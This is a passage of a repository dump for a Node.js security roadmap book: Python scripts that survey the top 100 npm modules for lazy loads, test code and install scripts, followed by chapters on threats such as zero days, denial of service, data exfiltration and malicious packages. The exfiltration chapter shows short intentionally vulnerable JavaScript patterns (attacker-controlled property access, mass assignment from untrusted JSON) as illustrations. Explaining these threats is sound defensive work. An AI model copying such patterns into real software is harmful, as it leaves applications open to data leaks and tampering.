\"\"\n    print \"If a module is both in the top 100 and is a dependency of another\"\n    print \"module in the top 100, then it will be multiply counted.\"\n    print \"\"\n    print \"Out of %d modules that parsed\" % module_count\n    print \"\"\n    print \"| Violation | Count of Modules | Total Count | Quartiles |\"\n    print \"| --------- | ---------------- | ----------- | --------- |\"\n    for (v, vmap) in sorted(rule_violations.items()):\n        count = 0\n        total_count = 0\n        values = vmap.values()\n        for n in values:\n            count += 1\n            total_count += n\n        values += [0] * (module_count - count)\n        values.sort()\n        quartiles = '%d / %d / %d' % (\n            values[len(values) >> 2],\n            values[len(values) >> 1],\n            values[(len(values) * 3) >> 2],\n        )\n        print \"| `%s` | %d | %d | %s |\" % (\n            v, count, total_count, quartiles)\n"
  },
  {
    "path": "appendix/lazy-load/experiment.py",
    "content": "#!/usr/bin/python\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Looks for lazy loading patterns.\n\nPatterns to identify include\n\n  * { ... require(...)\n\n\"\"\"\n\nimport json\nimport os.path\nimport py_common.npm\nimport re\nimport shutil\nimport sys\n\n\nlazy_load_pattern = re.compile(\n    r'[{][^}]*(?<![_$\\w.])require\\s*\\(')\n\ndef find_lazy_load(node_modules, module_name):\n    return py_common.npm.js_srcs_matching(\n        node_modules, module_name, lazy_load_pattern,\n        module_filter=py_common.npm.ignore_tools_that_can_run_early(module_name))\n\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    top100 = [x for x in file(top100_txt).read().split('\\n') if x]\n\n    uses = 0\n    total_count = 0\n    has_lazy_load = {}\n    for module_name in top100:\n        js_srcs = find_lazy_load(node_modules, module_name)\n        has_lazy_load[module_name] = js_srcs\n        if len(js_srcs):\n            uses += 1\n        total_count += 1\n\n    print (\n\"\"\"\n## Lazy loads {#lazy_load}\n\nLazy loading can complicate code bundling if care is not taken.\n\n%d of %d = %1.02f%% contain a use of require inside a `{...}` block.\n\"\"\" % (uses, total_count, (100.0 * uses) / total_count))\n"
  },
  {
    "path": "appendix/py_common/__init__.py",
    "content": "# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n"
  },
  {
    "path": "appendix/py_common/npm.py",
    "content": "\"\"\"\nUtilities for mucking with NPM packages\n\"\"\"\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\nimport os.path\nimport re\nimport subprocess\nimport sys\nimport tempfile\n\nimport jslex.jslex\n\ndef install_packages(*package):\n    \"\"\"\n    Creates a temporary node_modules directory with the given packages\n    and returns it.\n    \"\"\"\n    tmp_dir = tempfile.mkdtemp()\n    tmp_node_modules_dir = os.path.join(tmp_dir, 'node_modules')\n    os.mkdir(tmp_node_modules_dir)\n    subprocess.check_call([\n        'npm', 'install', '--ignore-scripts', '--only=prod',\n        '-g', '--prefix', tmp_node_modules_dir,\n        '--'] + list(package))\n    return tmp_node_modules_dir\n\n\ndef for_each_npm_package(node_modules_dir, f):\n    \"\"\"\n    Calls f with each package directory path.\n\n    Returns an object with the result of each call keyed by\n    package name.\n\n    For a dir tree like\n       node_modules\n         foo\n           package.json\n           ...\n         bar\n           package.json\n           ...\n         baz\n           package.json\n           ...\n         .bin\n           ...\n    returns\n        {\n          'bar': f('node_modules/bar'),\n          'baz': f('node_modules/baz'),\n          'foo': f('node_modules/foo')\n        }\n    \"\"\"\n    result = {}\n    for fname in os.listdir(node_modules_dir):\n        if fname not in ('.', '..'):\n            if os.path.isfile(os.path.join(node_modules_dir, fname, 'package.json')):\n                result[fname] = f(os.path.join(node_modules_dir, fname))\n    return result\n\ndef ignore_tools_that_can_run_early(module_name):\n    \"\"\"\n    A module filter that filters out dependencies on modules that\n    can be run during the bundling/validation process so are not strictly\n    necessary at runtime.\n    \"\"\"\n    return lambda mn: mn == module_name or not (\n        mn.startswith('babel')\n        or mn.startswith('eslint'))\n\n_REQUIRE_RE = re.compile(r'(?<![\\w.])require\\s*[(]([^\\)]*)')\n_REL_REQUIRE_RE = re.compile(r'^[.][.]?/')\n\ndef js_srcs_almost_worst_case(node_modules, module_name, module_filter=None):\n    \"\"\"\n    The set of JS & TS source files required by a module\n    including those required by prod dependencies.\n\n    This does not take into account TS imports.\n\n    This is not entirely conservative.\n    We make an optimistic assumption that a dynamic load,\n    a require(x) where x is not a string literal, only\n    loads files from the same module.\n    This is not true, e.g. when bazel-core loads extension\n    modules.\n    These cross-module loads need not only load from prod\n    dependencies, so assuming otherwise would not actually\n    make us conservative either.\n\n    Returns [('module', '/abs/path/to/src.js'), ...]\n    \"\"\"\n    if module_filter is None:\n        module_filter = lambda _: True\n    js_files = set()\n    unprocessed = [module_name]\n    visited = set()\n    while unprocessed:\n        up_module_name = unprocessed.pop()\n        if up_module_name in visited: continue\n        visited.add(up_module_name)\n        if not module_filter(up_module_name): continue\n        rq = None\n        try:\n            rq = requires(node_modules, module_name)\n        except:\n            import traceback\n            traceback.print_exc()\n        if rq is not None and rq['upper']:\n            js_files.update([(up_module_name, src) for src in rq['srcs']])\n            unprocessed += rq['deps']\n        else:\n            #print >>sys.stderr, \"Falling back to worst-case for %s required by %s\" % (\n            #    up_module_name, module_name)\n            js_files.update([(up_module_name, src) for src in\n                             js_files_under(\n                                 os.path.join(node_modules, up_module_name))\n                             if not probable_non_prod_file(src)])\n            package_json = None\n            try:\n                package_json = json.loads(\n                    file(os.path.join(node_modules, up_module_name, 'package.json'), 'r')\n                    .read())\n            except:\n                print >>sys.stderr, \"Undeclared dependency %s\" % up_module_name\n            if package_json is not None:\n                unprocessed += package_json['dependencies'].keys()\n    return tuple(sorted(js_files))\n\ndef requires(node_modules, module_name):\n    \"\"\"\n    Follows require() calls to bound the set of JS files in a module.\n\n    Returns {\n      'srcs': [...],  # main.js and same-module files required thereof\n      'deps': [...],  # required modules\n      'upper': True,  # True when srcs and deps accounts for all require calls.\n    }\n    \"\"\"\n    module_root = os.path.join(node_modules, module_name)\n    package_json = json.loads(\n        file(os.path.join(module_root, 'package.json')).read())\n    main_files = package_json.get('main', None)\n    if type(main_files) in (str, unicode):\n        main_files = (main_files,)\n    if not main_files:\n        return { 'srcs': (), 'deps': (), 'upper': False }\n    srcs = set()\n    deps = set()\n    upper = True\n    visited = set()\n    unprocessed = [os.path.join(module_root, rp) for rp in main_files]\n    while unprocessed:\n        src = os.path.realpath(unprocessed.pop())\n        if src in visited: continue\n        visited.add(src)\n        if os.path.isdir(src):\n            for f in js_files_under(src):\n                unprocessed.append(f)\n        else:\n            srcs.add(src)\n            content = ''\n            try:\n                content = file(src, 'r').read()\n            except:\n                upper = False\n            for match in _REQUIRE_RE.finditer(content):\n                arg = match.group(1).strip()\n                if not arg:\n                    pass  # Zero arguments\n                elif len(arg) > 2 and arg[0] in ('\"', \"'\") and arg[0] == arg[-1]:\n                    try:\n                        arg = json.loads('\"%s\"' % arg[1:-1])\n                    except:\n                        #print >>sys.stderr, \"Cannot parse require argument %s\" % arg\n                        upper = False\n                    if _REL_REQUIRE_RE.match(arg):\n                        if not arg.endswith('.js'): arg += '.js'\n                        unprocessed.append(arg)\n                    else:\n                        deps.add(arg)\n                else:\n                    upper = False\n    return {\n        'srcs': tuple(sorted(srcs)),\n        'deps': tuple(sorted(deps)),\n        'upper': upper\n    }\n\ndef js_files_under(root_dir):\n    for dir_path, subdir_list, file_list in os.walk(root_dir):\n        for f in file_list:\n            if f.endswith('.js') or f.endswith('.ts'):\n                yield os.path.join(dir_path, f)\n\ndef preprocess_js_content(content):\n    \"\"\"\n    Preprocesses JS content to make it easier to operate on.\n\n    All comments are replaced with spaces, and string literal\n    content is upper-cased to make it easier to distinguish\n    lower-case keywords and identifiers from similar content that\n    appears inside a string literal.\n    \"\"\"\n\n    lexer = jslex.jslex.JsLexer()\n    canon_tokens = []\n    for (tok_type, tok_content) in lexer.lex(content):\n        if tok_type in ('comment', 'linecomment'):\n            tok_content = ' '\n        elif tok_type in ('regex', 'string'):\n            tok_content = tok_content.upper()\n        canon_tokens.append(tok_content)\n    processed_content = ''.join(canon_tokens)\n\n    return processed_content\n\ndef js_srcs_matching(node_modules, module_name, pattern, module_filter=None):\n    \"\"\"\n    A list of srcs under root_dir whose content\n    matches pattern.\n    \"\"\"\n\n    srcs = js_srcs_almost_worst_case(\n        node_modules=node_modules,\n        module_name=module_name,\n        module_filter=module_filter)\n\n    matching_srcs = []\n    for src in srcs:\n        (_, path) = src\n        canon_content = preprocess_js_content(file(path, 'r').read())\n        match = pattern.search(canon_content)\n        if match:\n            matching_srcs.append(src)\n    return matching_srcs\n\n# by visual examination of\n# `find node_modules/ -type d | perl -pe 's|/|\\n|g' | sort | uniq`\n_NON_PROD_PATH = re.compile(\n    r'(?i)(?:^|[/\\\\])(?:tests?|testdata|testing|.github|__tests__|demo|examples?|benchmarks?)(?:$|[/\\\\])')\ndef probable_non_prod_file(path):\n    \"\"\"\n    Skip probable non test files when falling back to directory scanning.\n    \"\"\"\n    return _NON_PROD_PATH.search(path) is not None\n"
  },
  {
    "path": "appendix/test-code/experiment.py",
    "content": "#!/usr/bin/python\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Looks for test code patterns under node_modules.\n\nPatterns identify include\n\n  * require('assert')\n  * require('chai')\n  * require('chai/*')\n  * require('mocha')\n  * require('should')\n  * require('unexpected')\n\n\"\"\"\n\nimport json\nimport os.path\nimport py_common.npm\nimport re\nimport shutil\nimport sys\n\n\ntest_code_pattern = re.compile(\n    r'(?m)(?:^|[^.\\w])require\\s*[(]\\s*[\\'\\\"](?:assert|chai|chai/[^\\'\\\"]|mocha|should|unexpected)[\\'\\\"]')\n\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    top100 = [x for x in file(top100_txt).read().split('\\n') if x]\n\n    uses = 0\n    total_count = 0\n    has_test_code = {}\n    for module_name in top100:\n        module_root = os.path.join(separate_modules, module_name)\n        for js_file in py_common.npm.js_files_under(module_root):\n            js_content = file(js_file, 'r').read()\n            if test_code_pattern.search(js_content):\n                uses += 1\n                break\n        total_count += 1\n\n    print (\n\"\"\"\n## Prod bundle includes test code {#test_code}\n\nSome of the top 100 modules are test code, e.g. mocha, chai.\nThis measures which modules, when installed `--only=prod` include\ntest patterns.\n\n%d of %d = %1.02f%% contain test code patterns\n\"\"\" % (uses, total_count, (100.0 * uses) / total_count))\n"
  },
  {
    "path": "appendix/top100.txt",
    "content": "async\nbabel-core\nbabel-preset-es2015\nbabel-runtime\nbluebird\nbody-parser\nchalk\ncheerio\nclassnames\ncoffee-script\ncolors\ncommander\ndebug\nexpress\nfs-extra\nglob\ngulp\ngulp-util\njquery\nlodash\nminimist\nmkdirp\nmoment\nprop-types\nq\nreact\nreact-dom\nrequest\nrxjs\nthrough2\nunderscore\nuuid\nwebpack\nwinston\nyargs\nyeoman-generator\n@angular/common\n@angular/core\naws-sdk\naxios\nbabel-loader\nbabel-polyfill\nchai\nco\ncore-js\ncss-loader\nejs\nember-cli-babel\neslint\nhandlebars\ninquirer\njoi\njs-yaml\nmocha\nmongodb\nmongoose\nnode-uuid\nobject-assign\noptimist\nramda\nreact-redux\nredis\nredux\nrequest-promise\nrimraf\nsemver\nshelljs\nsocket.io\nsuperagent\nxml2js\nyosay\nzone.js\n@angular/compiler\n@angular/forms\n@angular/http\n@angular/platform-browser\n@angular/platform-browser-dynamic\n@types/node\nangular\nautoprefixer\nbabel-eslint\nbabel-preset-react\nbootstrap\ncookie-parser\ndotenv\nes6-promise\neslint-plugin-react\nextend\nextract-text-webpack-plugin\nfile-loader\nimmutable\njade\njsonwebtoken\nmarked\nmime\nmorgan\nmysql\nnan\nnode-sass\npath\npromise\nreact-router\nstyle-loader\ntypescript\nuglify-js\nunderscore.string\nvue\nws\n"
  },
  {
    "path": "appendix/uses-scripts/experiment.py",
    "content": "#!/usr/bin/python\n\n# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Collates how many projects use install scripts.\n\nPer https://docs.npmjs.com/misc/scripts we look for the\nfollowing keys under \"scripts\" in package.json:\n\n  * preinstall\n  * install\n  * postinstall\n\"\"\"\n\nimport json\nimport os.path\nimport py_common.npm\nimport sys\n\ndef uses_scripts(package_root):\n    package_json = json.loads(\n        file(os.path.join(package_root, 'package.json')).read())\n    scripts_obj = package_json.get('scripts', None)\n    if scripts_obj is None:\n        return False\n    for script_type in ('preinstall', 'install', 'postinstall'):\n        # TODO: True if empty value\n        if script_type in scripts_obj: return True\n    return False\n\nif __name__ == '__main__':\n    (node_modules, separate_modules, top100_txt) = sys.argv[1:]\n\n    per_package = py_common.npm.for_each_npm_package(\n        node_modules, uses_scripts)\n    total_count = 0\n    uses_scripts = 0\n    for uses in per_package.itervalues():\n        if uses:\n            uses_scripts += 1\n        total_count += 1\n    print (\n\"\"\"\n## Uses Scripts {#uses_scripts}\n\nUnless steps are taken, installation scripts run code on\na developer's workstation when they have write access to\nlocal repositories.  If this number is small, having\nhumans check installation scripts before running might\nbe feasible.\n\n%d of %d = %1.02f%% use installation scripts\n\"\"\" % (uses_scripts, total_count, (100.0 * uses_scripts) / total_count))\n"
  },
  {
    "path": "book.json.withcomments",
    "content": "# Comments are stripped\n{\n    \"root\": \".\",\n    \"structure\": {\n        \"readme\": \"cover.md\"\n    },\n    \"title\": \"A Roadmap for Node.js Security\",\n    \"description\": \"Discusses security and privacy threats to the Node.js community and ways the community might address them.  Assumes a basic familiarity with JS & the Node ecosystem.\",\n    \"author\": \"Mike Samuel et al\",\n    \"language\": \"en\",\n    \"gitbook\": \">= 3.0.0\",\n    \"plugins\": [\n        \"links\",\n        \"ga\"\n    ],\n    \"pluginsConfig\": {\n        # Google Analytics integration\n        \"ga\": {\n            \"token\": \"UA-111883728-1\",\n            \"configuration\": {\n                \"anonymizeIp\": true,\n                \"forceSSL\": true\n            }\n        },\n        \"links\": {\n            \"links\": [\n                {\n                    # Adds a printer icon at the top.\n                    # See styles/website.css for styling.\n                    \"label\": \"Printable\",\n                    # \"icon\" corresponds to a classname\n                    \"icon\": \"print-button\",\n                    # `make pdf` produces book.json which\n                    # needs to be copied into _book/ for\n                    # this to work.\n                    # TODO: Point to an authoritative version\n                    # via absolute URL once published.\n                    \"url\": \"/node-sec-roadmap.pdf\"\n                },\n                {\n                    \"label\": \"Github\",\n                    \"icon\": \"github-button\",\n                    \"url\": \"https://github.com/google/node-sec-roadmap\"\n                }\n            ]\n        }\n    }\n}\n"
  },
  {
    "path": "chapter-1/recap.md",
    "content": "We've discussed the kinds of threats that concern us.\n\nNext we discuss how some Node.js projects mitigate these threats today\nand how we can make it easier for more Node.js projects to\nconsistently mitigate these threats.\n\nReaders may find it useful to refer back to the [threat table][] which\ncross-indexes threats and mitigation strategies.\n\n[threat table]: threats.md#threat_table\n"
  },
  {
    "path": "chapter-1/threat-0DY.md",
    "content": "# Zero Day\n\nWhen a researcher discloses a new security vulnerability, the clock\nstarts ticking.  An attacker can compromise a product if they can\nweaponize the disclosure before the product team\n\n*  realizes they're vulnerable, and\n*  finds a patch to the vulnerable dependency, or rolls their own, and\n*  tests the patched release and pushes it into production.\n\n[\"The Best Defenses Against Zero-day Exploits for Various-sized\nOrganizations\"][sans] notes\n\n> Zero-day exploits are vulnerabilities that have yet to be publicly\n> disclosed. These exploits are usually the most difficult to defend\n> against because data is generally only available for analysis after\n> the attack has completed its course.\n\n> ...\n\n> The research community has broadly classified the defense techniques\n> against zero-day exploits as statistical-based, signature-based,\n> behavior-based, and hybrid techniques (Kaur & Singh, 2014). The\n> primary goal of each of these techniques is to identify the exploit in\n> real time or as close to real time as possible and quarantine the\n> specific attack to eliminate or minimize the damage caused by the\n> attack.\n\nBeing able to respond quickly to limit damage and recover are\ncritical.\n\nThat same paper talks at length about *worms*: programs that\ncompromise a system without explicit direction by a human attacker,\nand use the compromise of one system to find other systems to\nautomatically compromise.\n\nResearchers have found ways ([details][saccone]) that worms\nmight propagate throughout `registry.npmjs.org` and common practices\nthat might allow a compromise to jump from the module repository to\nlarge numbers of production servers.\n\nIf we can structure systems so that compromising one component\ndoes not make it easier to compromise another component, then\nwe can contain damage due to worms.\n\nIf, in a population of components, we can keep susceptibility below a\ncritical threshold so that worms spend more time searching for targets\nthan compromising targets, then we can buy time for humans to\nunderstand and respond.\n\nIf we prevent compromise of a population of modules by a zero day\nfrom causing widespread compromise of a population of production\nservers then we can limit damage to end users.\n\n[sans]: https://www.sans.org/reading-room/whitepapers/bestprac/defenses-zero-day-exploits-various-sized-organizations-35562\n[saccone]: https://www.kb.cert.org/CERT_WEB/services/vul-notes.nsf/6eacfaeab94596f5852569290066a50b/018dbb99def6980185257f820013f175/$FILE/npmwormdisclosure.pdf\n"
  },
  {
    "path": "chapter-1/threat-BOF.md",
    "content": "# Buffer Overflow\n\nA buffer overflow occurs when code fails to check an index into an\narray while unpacking input, allowing parts of that input to overwrite\nmemory locations that other trusted code assumes are inviolable.\nA similar technique also allows exfiltrating data like cryptographic keys\nwhen an unchecked limit leads to copying unintended memory locations into\nan output.\n\nBuffer overflow vectors in Node.js are:\n\n*  The Node.js runtime and dependencies like the JS runtime and OpenSSL\n*  [C++ addons][] third-party modules that use N-API (the native API).\n*  Child processes.  For example, code may route a request body to an\n   [image processing library][imagetragick] that was not\n   written with untrusted inputs in mind.\n\nBuffer overflows are common, but we class them as low frequency for\nNode.js in particular.  The runtime is highly reviewed compared to the\naverage C++ backend; C++ addons are a small subset of third-party\nmodules; and there's no reason to believe that child processes spawned\nby Node.js applications are especially risky.\n\n[imagetragick]: https://imagetragick.com/\n[C++ addons]: https://nodejs.org/api/addons.html#addons_c_addons\n"
  },
  {
    "path": "chapter-1/threat-CRY.md",
    "content": "# Weak Crypto {#CRY}\n\nCryptographic primitives are often the only practical way to solve\nimportant classes of problems, but it's easy to make mistakes when using\n`crypto.*` APIs.\nFailing to identify third-party modules that use crypto (or should be\nusing crypto) and determining whether they are using it properly can lead\nto a false sense of security.\n\n[\"Developer-Resistant Cryptography\"][Cairns & Steel] by Cairns & Steel\nnotes:\n\n> The field of cryptography is inherently difficult. Cryptographic API\n> development involves narrowing a large, complex field into a small set\n> of usable functions.  Unfortunately, these APIs are often far from\n> simple.\n\n> ...\n\n> In 2013, study by Egele et al. revealed even more startling figures\n> [1]. In this study, six rules were defined which, if broken, indicated\n> the use of insecure protocols. More than 88% of the 11,000 apps\n> analyzed broke at least one rule. Of the rule-breaking apps, most\n> would break not just one, but multiple rules. Some of these errors\n> were attributed to negligence, for example test code included in\n> release versions. However, in most cases it appears developers\n> unknowingly created insecure apps.\n\n> ...\n\n> The human aspect can be improved through better education for\n> developers.  Sadly, this approach is unlikely to be a complete\n> solution. It is unreasonable to expect a developer to be a security\n> expert when most of their time is spent on other aspects of software\n> design.\n\nCode that uses cryptography badly can seem like it's working as intended\nuntil an attacker unravels it.\nTesting code that uses cryptographic APIs is hard.  It's hard to write\na unit test to check that a skilled cryptographer can't efficiently\nextract information from a random looking string or compute a random\nlooking string that passes a verifier.\n\nWeak cryptography can also mask other problems.  For example, a\nsecurity auditor might try to check for leaks of email addresses by\ncreating a dummy account `Carol <carol@example.com>` and\ncheck for the string `carol@example.com` in data served in responses,\nwhile recursing into substrings encoded using base64, gzip, or other\ncommon encodings.\nIf some of that data is poorly encrypted, then the auditor might\nfalsely conclude that an attacker who can't break strong\nencryption does not have access to emails.\n\n[Cairns & Steel]: https://www.w3.org/2014/strint/papers/48.pdf\n"
  },
  {
    "path": "chapter-1/threat-DEX.md",
    "content": "# Poor Developer Experience\n\nSecurity specialists have a vested interest in keeping developers\nhappy & productive.\n\nDeveloper experience is not only a business or usability threat.  When\na team is less agile, it cannot respond as effectively to security\nthreats, or roll out interfaces that let end users manage their own\nsecurity and privacy.\n\nApplication developers may miss deadlines, cut features, or\ncompromise maintainability if any of the following are true:\n\n*  starting a new project takes too long\n*  they often cannot make progress until they get feedback from\n   security specialists (or other specialists like I18N, Legal, UI)\n*  repeated tasks are slow:\n   *  restarting an application or service,\n   *  running `npm install`, or\n   *  rerunning tests after small changes\n*  getting approval for a pull request takes long enough that\n   upstream has to be manually merged into the branch.\n*  breaking common code out of an application into an npm\n   module becomes hard, so it is easier to copy-paste from one\n   application to another\n*  a developer has to spend significant time getting a release\n   candidate approved instead of working on the next iteration.\n"
  },
  {
    "path": "chapter-1/threat-DOS.md",
    "content": "\n# Denial of Service\n\nDenial of service occurs when a well-behaved, authorized user cannot\naccess a system because of misbehavior by another.\n\n\"Denial of service\" is most often associated with [flooding][] a\nnetwork endpoint so it cannot respond to the smaller number of\nlegitimate requests, but there are other vectors:\n\n*  Causing the server to use up [a finite resource][res-exh]\n   like file descriptors causing threads to block.\n*  Causing the target to issue a network request to an endpoint the\n   attacker controls and responding slowly.\n*  Causing the target to store malformed data which triggers an error\n   in code that unpacks the stored data and causes a server to provide\n   an error response to a well-formed request.\n*  Exploiting event dispatch bugs to cause starvation\n   ([example][disclosure]).\n*  Supplying over-large inputs to super-linear (> O(n)) algorithms.\n   For example supplying a crafted string to an ambiguous `RegExp`\n   to cause [excessive backtracking][].\n\nDenial of service attacks that exploit the network layer are usually\nhandled in the reverse proxy and we find no reason to suppose that\nnode applications are especially vulnerable to other kinds of denial\nof service.\n\n## Additional risk: Integrity depends on quick completion\n\nA system requires [atomicity][] when two or more effects have to\nhappen together or not at all.  Databases put a lot of engineering\neffort into ensuring atomicity.\n\nSometimes, ad-hoc code seems to preserve atomicity when tested under\nlow-load conditions:\n\n```js\n// foo() and bar() need to happen together or not at all.\nfoo(x);\n// Not much of a gap here under normal conditions for another part\n// of the system to observe foo() but not bar().\ntry {\n  bar(x);\n} catch (e) {\n  undoFoo();\n  throw e;\n}\n```\n\nThis code, though buggy, may be highly reliable under normal\nconditions, but may fail under load, or if an attacker can cause\n`bar()` to run for a while before its side-effect happens, for example\nby causing excessive backtracking in a regular expression used to\ncheck a precondition.\n\nSome of the same techniques which makes a system unavailable can\nwiden the window of vulnerability within which an attacker can exploit\nan atomicity failure.\n\nClient-side, runaway computations rarely escalate into an integrity\nviolation since atomicity requirements are typically maintained on the\nserver.  Server-side, we expect that this problem would be more\ncommon.\n\n[flooding]: https://capec.mitre.org/data/definitions/125.html\n[excessive backtracking]: https://www.regular-expressions.info/catastrophic.html\n[res-exh]: https://capec.mitre.org/data/definitions/131.html\n[disclosure]: https://sandstorm.io/news/2015-04-08-osx-security-bug\n[atomicity]: https://en.wikipedia.org/wiki/ACID#Atomicity\n"
  },
  {
    "path": "chapter-1/threat-EXF.md",
    "content": "# Exfiltration of Data\n\n\"Exfiltration\" happens when an attacker causes a response to include\ndata that it should not have.  Web applications and services may\nproduce response bodies that include too much information.\n\nThis can happen when server-side JavaScript has access to more\ndata than it needs to do its job and either\n\n*  it serializes unintended information and no one notices or\n*  an attacker controls what is serialized.\n\nConsider\n\n```js\nObject.assign(output, this[str]);\n```\n\nIf the attacker controls `str` then they may be able to pick any field\nof `this` or possibly any global field.\n\nThis problem is not new to Node.js but we consider this higher\nfrequency for Node.js for these reasons:\n\n*  There is no equivalent to `Object.assign` in most backend languages.\n   It's possible in Python and Java via reflective operators but\n   security auditors can narrow down code that might suffer this vulnerability\n   to those that use reflection.\n   `Object.assign`, `$.extend` and similar operators are widely used in\n   idiomatic JavaScript.\n*  In most backend languages, `obj[...]` does not allow aliasing of all\n   properties.\n   For example, Python allows `obj[...]` on types that implement `__getitem__`\n   which is not the case for user-defined classes.\n   Java has generic collections and maps, but for user-defined classes\n   the equivalent code pattern requires reflection and possibly calls to\n   `setAccessible(true)`.\n\nJavaScript makes it easier to alias properties and methods and common\nJavaScript idioms make it harder for security auditors to narrow down\ncode that might inadvertently allow exfiltration.\n\n`Object.assign` and related copy operators are also potential\n[mass assignment][] vectors as in:\n\n```js\nObject.assign(systemData, JSON.parse(untrustedInput))\n```\n\n[mass assignment]: https://en.wikipedia.org/wiki/Mass_assignment_vulnerability\n"
  },
  {
    "path": "chapter-1/threat-LQC.md",
    "content": "# Low Quality Code\n\nAn application or service is vulnerable when its security depends on a\nmodule upholding a contract that it does not uphold.\n\nMost new software has bugs when first released.  Over time, maintainers\nfix the bugs that have obvious, bad consequences.\n\nOften, widely used software has problem areas that are well understood.\nDevelopers can make a pragmatic decision to use it while taking\nadditional measures to make sure those problems don't compromise\nsecurity guarantees.\n\nOrphaned code that has not been updated recently may have done a\ngood job of enforcing its contract, but attackers may have discovered\nnew tricks, or the threat environment may have changed so it may\nno longer enforce its contract in the face of an attack.\n\nLow quality code constitutes a threat when developers pick a module\nwithout understanding the caveats to the contract it actually\nprovides, or without taking additional measures to limit damage when\nit fails.\n\nIt may be the case that there's higher risk of poorly understood\ncontracts when a community is experimenting rapidly as is the case for\nNode.js, or early on before the community has settled on clear winners\nfor core functions, but we consider the frequency of vulnerabilities\ndue to low quality code in the npm repository roughly the same as for\nother public module repositories.\n"
  },
  {
    "path": "chapter-1/threat-MTP.md",
    "content": "# Malicious Third-Party Code\n\nMost open-source developers work in good faith to provide useful tools\nto the larger community of developers but\n\n*  Passwords are easy to guess, so attackers can suborn accounts that\n   are only protected by a password.  On GitHub, developers may\n   configure their accounts to require a\n   [second factor][github-second-factor] but this is not yet the norm.\n*  Pull requests that aren't thoroughly reviewed may dilute security\n   properties.\n*  Phishing requests targeted at GitHub users ([details][dimnie]) can\n   execute code on unwary committers' machines.\n*  A pull request may appear to come  from a higher-reputation source\n   ([details][unsigned commits]).\n\nMalicious code can appear in the server-side JavaScript running in\nproduction, or can take the form of install hooks that run on a\ndeveloper workstation with access to local repositories and to\nwritable elements of `$PATH`.\n\nProjects that deploy the latest version of a dependency straight to\nproduction are more vulnerable to malicious code.  If an attacker\nmanages to publish a version with malicious code which is quickly\ndiscovered, it affects projects that deploy during that short \"window\nof vulnerability.\"  Projects that `npm install` the latest version\nstraight to production are more likely to fall in that window than\nprojects that cherrypick versions or that shrinkwrap to make sure that\ntheir development versions match deployed versions.\n\n[Bower is deprecated][bower-depr] so our discussions focus on\n`npmjs.org`, but it's worth noting that Bower has a single-point of\nfailure.  Anyone who can create a release branch can commit and\npublish a new version.\n\n[`npm profile`][npm profile] allows requiring\n[two factor auth][npm auth-and-writes] for publishing and privilege\nchanges.  If the npm accounts that can publish new versions of a\npackage only checkout code from a GitHub account all of whose\ncommitters use two factors, then there is no single password that can\ncompromise the system.\n\nThe frequency of malicious code vulnerabilities affecting Node.js is\nprobably roughly the same as that for other public module repositories.\nThe npm repo has been a target in the past [1][getcookies-disclosure]\n[2][crossenv-typosquat-disclosure].\n\nThe [npm Blog][crossenv-typosquat-disclosure] explains what to do if\nyou believe you have found malicious code:\n\n> On August 1, a user notified us via Twitter that a package with a\n> name very similar to the popular `cross-env` package was sending\n> environment variables from its installation context out to\n> npm.hacktask.net. We investigated this report immediately and took\n> action to remove the package. Further investigation led us to remove\n> about 40 packages in total.\n>\n> ...\n>\n> Please do reach out to us immediately if you find malware on the\n> registry. The best way to do so is by sending email to\n> [security@npmjs.com](mailto:security@npmjs.com). We will act to\n> clean up the problem and find related problems if we can.\n\n\n[github-second-factor]: https://help.github.com/articles/about-two-factor-authentication/\n[bower-depr]: https://bower.io/blog/2017/how-to-migrate-away-from-bower/\n[dimnie]: https://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/\n[unsigned commits]: https://nvisium.com/resources/blog/2017/06/21/securing-github-commits-with-gpg-signing.html\n[npm profile]: https://docs.npmjs.com/cli/profile\n[saccone]: https://www.kb.cert.org/CERT_WEB/services/vul-notes.nsf/6eacfaeab94596f5852569290066a50b/018dbb99def6980185257f820013f175/$FILE/npmwormdisclosure.pdf\n[npm auth-and-writes]: 